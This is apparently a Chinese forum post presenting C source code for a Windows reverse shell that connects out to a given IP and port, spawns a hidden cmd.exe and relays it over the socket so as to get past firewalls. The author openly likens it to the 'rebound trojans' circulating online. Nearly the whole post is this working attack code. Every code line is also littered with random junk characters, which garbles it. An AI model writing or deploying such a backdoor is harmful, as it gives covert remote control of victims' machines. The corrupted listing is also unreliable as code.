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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F:;!) H*  
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/* ============================== W`N}  
Rebound port in Windows NT B [+(r  
By wind,2006/7 !{Q:(B#ec  
===============================*/ {xv?wenE  
#include CQSpPQA  
#include Ak6MPuBB-  
DikdC5>O>m  
#pragma comment(lib,"wsock32.lib") xJ~ gT  
Har~MO?A  
void OutputShell(); qX5yN| A4  
SOCKET sClient; [0&'cu>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?GO SeV  
i*S|qX7``  
void main(int argc,char **argv) CGC-"A/W  
{ pcy<2UV  
WSADATA stWsaData; 5{13 V*<  
int nRet; <&5m N  
SOCKADDR_IN stSaiClient,stSaiServer; yuHZ&e  
2mqK3-c  
if(argc != 3) #ya\Jdx   
{ )N" Ew0U  
printf("Useage:\n\rRebound DestIP DestPort\n"); vZ$U^>":  
return; i<T P:  
} pWs\.::B  
`KpFH.k.K  
WSAStartup(MAKEWORD(2,2),&stWsaData); F$Im9T6  
bVoU|`c  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >ZT& `E  
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stSaiClient.sin_family = AF_INET; y=AsgJ  
stSaiClient.sin_port = htons(0); NunV8atn:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :n'yQ#[rn  
0#oBXu  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sM9FE{,mx  
{ @Od^k#  
printf("Bind Socket Failed!\n"); H8@8MFz\  
return; "z^(dF|  
} q,B3ru.?d  
mn]-rTr  
stSaiServer.sin_family = AF_INET; ]~-*hOcQ4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x\hWyY6J[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &{%MjKJ._  
v6s\Z\v)Q`  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :qKF58W  
{ } q%jO  
printf("Connect Error!"); 2_;]  
return; HH)"]E5  
} 9W!8gCs  
OutputShell(); <B6[i*&  
} yu)q4C7ek  
Q>.BQ;q]  
void OutputShell() ^Q0&.hL@  
{ ?Jt$a;  
char szBuff[1024]; t5.`! 3EO  
SECURITY_ATTRIBUTES stSecurityAttributes; X rF3kz!44  
OSVERSIONINFO stOsversionInfo; A1^Ga5 B>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VFv9Q2/.  
STARTUPINFO stStartupInfo; M`GP^Ta  
char *szShell; 5Go0}'*%  
PROCESS_INFORMATION stProcessInformation; Q48+O?&  
unsigned long lBytesRead; xS'zZ%?  
s/ M7Zl  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kG/X"6pZ  
c=6ahX}d  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GCT@o!  
stSecurityAttributes.lpSecurityDescriptor = 0; D+Cm<ZT~  
stSecurityAttributes.bInheritHandle = TRUE; 5h0>!0  
R A:jzht  
!(Krf  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (;a B!(_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [,=d7*b(l  
_%Bz,C8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); No) m/17y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sp:l;SGd  
stStartupInfo.wShowWindow = SW_HIDE; WsR+Np@c  
stStartupInfo.hStdInput = hReadPipe; 4qhWm"&CM  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6vto++  
e}A&V+  
GetVersionEx(&stOsversionInfo); B2 c@kru  
GnFs63  
switch(stOsversionInfo.dwPlatformId) B'-I{~'/  
{ YOyp|%!  
case 1: ZK6Hvc0  
szShell = "command.com"; o0ZIsrr  
break; ?aBj#  
default: ak;6z]f8[  
szShell = "cmd.exe"; Yd:Q`#7A  
break; %KtU1A(["  
} !}y1CA  
hSB?@I4s<\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $Pxb1E  
d?A}qA[(  
send(sClient,szMsg,77,0); -v+&pG?m  
while(1) @%1IkvJV  
{ o#>a 5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j!\dn!Xwt  
if(lBytesRead) ?}}qu'N:N  
{ $&hN*7Ts  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p3c"ZPO~z  
send(sClient,szBuff,lBytesRead,0); %r%So_^  
} Qzqc .T  
else a+`D'?z  
{  PWH^=K  
lBytesRead=recv(sClient,szBuff,1024,0); =E(#YCx  
if(lBytesRead<=0) break; Z) Wnow  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `0bP0^w  
} mN*?%t  
} ;I}'}  
tdep|sD  
return; A%u_&a}  
}
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